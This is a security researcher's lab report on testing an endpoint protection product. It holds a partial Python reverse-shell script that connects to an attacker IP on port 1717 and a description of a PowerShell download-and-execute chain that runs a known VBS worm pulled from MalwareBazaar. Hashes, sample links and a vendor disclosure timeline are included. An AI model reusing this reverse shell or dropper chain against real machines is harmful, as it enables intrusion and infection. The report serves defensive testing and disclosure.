Principal Security Engineer and Security Researcher: Filipi Pires
Principal Security Engineer and Security Researcher: Filipi Pires
1 Introduction
The purpose of this document, it was to execute several efficiency and detection tests in our
lab environment protected with an endpoint solution, provided by CrowdStrike, this
document brings the result of the defensive security analysis with an offensive mindset using
reverse shell techniques to gain the access inside the victim's machine and after that
performing a Malware in VBS to infected the victim machine through use some scripts in
PowerShell to call this malware, in our environment.
Regarding the test performed, the first objective it’s to simulate targeted attacks using a
python script to obtain a panoramic view of the resilience presented by the solution, with
regard to the efficiency in its detection by Signatures, NGAV and Machine Learning, running
this script, the idea is to use the reverse shell technique to gain access on the victim's machine.
After the execute this attack, the the second objective consists in perfoming the PowerShell
Script to run this script, to download a VBS Malicious file on the victim's machine and execute
itself, calling this malware provided through Malwares Bazaar by API request
With the final product, the front responsible for the product will have an instrument capable
of guiding a process of mitigation and / or correction, as well as optimized improvement, based
on the criticality of risks.
2.0.1 Scope
The efficiency and detection analysis had as target the CrowdStrike Endpoint Protection application
(https://falcon.us-2.crowdstrike.com) in Version:
2
2.0.2 Project Summary
The execution of the security analysis tests of the Threat Hunting team it was carried out
through the execution a python script to evade CrowdStrike solution gain reverse shell in
victim machine and, after that, download PowerShell file using Invoke-WebRequest to bypass
the engines the detection thought the WebServer in the internet as a “C&C
(Comand&Controller) and finally executing this PowerShell script using API call provide by
Malware Bazaar downloading a VBS Malicious file on the victim's machine and execute itself
in a virtualized environment in a controlled way, simulating a real environment, together with
their respective best practices of the security policies applied, the test occurred during 1 days,
without count the weekend, along with the making of this document. The intrusion test
started on November 04th of the year 2020 and it was completed on November 04th of the
same year.
A virtual machine with Windows 10 operating system it was deployed to perform the
appropriate tests, as well as the creation of a security policy on the management platform
(Threat-Hunting–Win10-POC) e and applied to due device.
3
The policy used was named Default (Windows), following the best practices
recommended by the manufacturer, and, for testing purposes, all due actions were based on
an aggressive detection method.
PS: for this test we use the Aggressive Mode to block this attack.
Take look in this example, because we changed the CLOUD ANTI-MALWARE and ADWARE & PUP to
AGGRESSIVE MODE.
One of the differences that we see with CrowdStrike is the non-use of Icon related of the binary.
4
Image 1.4: Installation binary information
3.2 First Test
The first stage of the test it’s to execute a python script to evade CrowdStrike solution gain a
Reverse shell in victim machine, we use the simple technique Open TCP Socket using the
connect () operation to connect in Attacker Machine, as you can see in the code we use the
subprocess module allows you to spawn new processes, connect to their
input/output/error pipes, and obtain their return codes, in this case we spawn new process
through the path in our victim machine - (["\\windows\\system32\\cmd.exe"]).
#!/usr/bin/env python3
import os,socket,subprocess,threading;
5
if len(data) > 0:
p.stdin.write(data)
p.stdin.flush()
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("192.168.106.140", 1717))
try:
p.wait()
except KeyboardInterrupt:
s.close()
Attacker validation
Before starting the detection tests, we need to validate and understand all those information
from our Attacker Machine, as well as, the his environment.
Command&Controller (C&C):
We executed the python file (Shell.py) using PowerShell no need to be admin user to run this
script, and we can see in our Attacker environment, we received the Shell Reverse no difficult.
6
Image 1.6: Reverse Shell Attacker
So, from now on, we have an interactive shell, we can do many things in our victim machine
and now we can go to the next stage.
The second stage of the tests was through of the download PowerShell file using Invoke-
WebRequest to bypass the engines the detection thought the Malicious WebServer on the
internet as a “C&C (Comand&Controller) the transfer malicious files for our victim machine, a
very similar behavior of the DropperMalware.
What is Invoke-WebRequest?
The Invoke-WebRequest cmdlet sends HTTP and HTTPS requests to a web page or web
service. It parses the response and returns collections of links, images, and other significant
HTML elements. This cmdlet was introduced in PowerShell 3.0.
7
Beginning in PowerShell 7.0, Invoke-WebRequest supports proxy configuration defined by
environment variables. See the Notes section of this article.
Reference link:
(https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.utility/invoke-
webrequest?view=powershell-7)
8
Image 1.9: VBS_kill.ps1 script downloaded by C&C.
Now, we have our Power Shell Script inside the victim and we can go to the next stage using
API provided by Malware Bazaar downloading a VBS Malicious file on the machine and execute
itself to infected the environment.
The third stage of the tests using “Malware Execution” by power shell script, in this way, we
can look the behavior of these detection engine works in real-time and malware should be
eliminated, because we are talking about known malware.
Malicious hash:
aa14a4bfb1e6de52750cc89b91cacbe8bd318634ccb54fa835f5e2c5d1d2f633
9
Image 1.10: Virus Total information.
Using our reverse shell that we have in our victim machine, we can execute the VBS_kill.ps1
file.
Inside this file, there is a PowerShell script to be executed using API KEY to download Evil.VBS
10
with hash “aa14a4bfb1e6de52750cc89b91cacbe8bd318634ccb54fa835f5e2c5d1d2f633”,
that is a public repository known and maintained by the security community called
MalwareBazzar (https://bazaar.abuse.ch/);
After this execution, the malware will be download and extracted inside of victim machine,
after that it call Invoke-Expression to execute the malware inside the Windows 10 Machine as
you can see below.
Virtual Basic script written in the VBScript scripting language. It contains code that can be
executed within Windows or Internet Explorer, via the Windows-based script host
(Wscript.exe), to perform certain admin and processing functions.
After 2 minutes we can see that Windows-based script host (Wscript.exe) being executed in
11
our machine, and not being blocked by CrowdStrike.
We can check the same behavior in our Victim machine, the same process (Wscript.exe) being
called and consumption high CPU and one more time not being blocked by CrowdStrike
When I look to our shell again, is possible to see, the channel established between Attacker
and Victim via port 1717
12
After 4 min it is possible to see an infection inside the our “victim” machine, all those files
were changed to extension. Vbs.
As we can see below, this malware is associated with the execution of VBS - Visual Basic
Script and he change all extension in the victim environment.
We can check the same behavior in our Victim machine, many files were changed to extension. Vbs
and one more time not being blocked by CrowdStrike
13
3 Impact
At the end of this test, it was possible to verify that there many malwares that, when
executed inside the environment, may perform an infection.
• I-Worm.NewLove (Source)
hxxps://github.com/ytisf/theZoo/tree/master/malwares/Binaries/VBS.NewLove.A
hxxps://bazaar.abuse.ch/sample/aa14a4bfb1e6de52750cc89b91cacbe8bd318634ccb54fa835f5
e2c5d1d2f633/
Basic Properties
MD5 95f4156f23d61b1b888d3b3bb87b6d72
SHA-1 09d2470d17821728cd1da95186f5f51272634287
SHA-256 2246a1a31f8ef272a8ac44c97d383d0607d86ddf4509a176b157853d9c6e0028
Vhash 773a411c5a56087d4d7c5cc36bbf2901
SSDEEP
1536:cfY1wBDtr94PLDcwZANv1pG1ZuQK10Oksk/L1xVCXJW5C6U7EjSRVveO:R1wBJoL4F1w6QK1
qFnVCXJYCF7aO
Names
I-Worm.NewLove.zip
output.149790737.txt;
Worm-type malware, with high criticality, associated with the execution of VBS - Visual Basic
Script, we have as a characteristic high propagation within the environment in which it is
executed.
14
Image 1.20: I-Worm.NewLove – VirusTotal
This POC it was Recorded and can see all thoses steps in the link below.
https://mega.nz/file/wA9gAbRJ#rqfzcfBUU8h7sweo3nHcmHkqH6hP0HHjTmTvLZLJRug
15
4 Responsible Disclosure – CrowdsStrike Company
We started these tests during a PoC – Proof of Concept, in our conversation, we explained
to CrowdStrike team about our tests.
Ø The Initial Notification it was sent on Tuesday, October 20, 2020 at 7:19 PM
o “Our technical team analyzed the points and we didn't validate them as a
valid test for the solution.”
16
• These reports were sent to CrowdStrike Team to validate with them how the
detection flow for known malware works, and why all those malwares didn't
were detected;
17
5 Bypass Information
The first exploitation – Python script to evade CrowdStrike solution gain a Reverse shell using
simple technique Open TCP Socket - is based on:
CWE-284: Improper Access Control
https://cwe.mitre.org/data/definitions/284.html
The Second exploitation – PowerShell file using Invoke-WebRequest to bypass the engines the
detection thought the Malicious WebServer on the internet as a “C&C - is based on:
CWE-284: Improper Access Control
https://cwe.mitre.org/data/definitions/284.html
The Third exploitation – PowerShell Script to run script, to download a VBS Malicious file on the
victim's machine and execute itself using API KEY to download Evil.VBS by MalwareBazaar - is
based on:
18
https://cwe.mitre.org/data/definitions/400.html
6 Recommendation Actions
As we mentioned before, the idea it was execute test in many malwares, and this case,
for this reason to be totally known the following actions will be taken to improve the
protection environment of our assets:
• This report was e sent to CrowdStrike Team to validate with them how the
detection flow for known malware works, and why all those malwares didn't
were detected;
• This report will be sent to CrowdStrike Team to validate with them how the
detection flow for known malware works, and why this VBS/Malware didn't
was detect;
19